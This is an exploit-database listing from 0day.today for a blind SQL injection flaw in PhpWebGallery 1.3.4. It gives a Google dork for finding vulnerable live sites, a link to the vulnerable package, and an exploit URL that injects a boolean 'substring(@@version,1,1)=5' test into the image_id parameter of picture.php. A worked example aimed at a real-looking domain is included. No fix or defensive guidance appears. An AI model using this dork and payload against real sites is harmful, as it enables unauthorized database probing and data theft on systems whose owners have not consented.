[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PhpWebGallery 1.3.4 (cat) Blind SQL Injection Vulnerability

Author
Stack
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3650
Category
web applications
Date add
10-09-2008
Platform
unsorted
===========================================================
PhpWebGallery 1.3.4 (cat) Blind SQL Injection Vulnerability
===========================================================



----------------------------------------------------------------
Script : PhpWebGallery 1.3.4
Type : Vulnerabilities (blind sql injection)
Author : Stack
Google Dork : inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"
----------------------------------------------------------------
Download From : http://puzzle.dl.sourceforge.net/sourceforge/phpwebgallery/phpwebgallery-1.3.4.tar.bz2
----------------------------------------------------------------
waiting the demo exploit
----------------------------------------------------------------
Exploit :
http://site.il/phpwebgallery/picture.php?cat=[Real id]&image_id=[Real id]+and+substring(@@version,1,1)=5
Example :
http://site.il/phpwebgallery/picture.php?cat=3&image_id=76+and+substring(@@version,1,1)=5




#  0day.today [2024-11-15]  #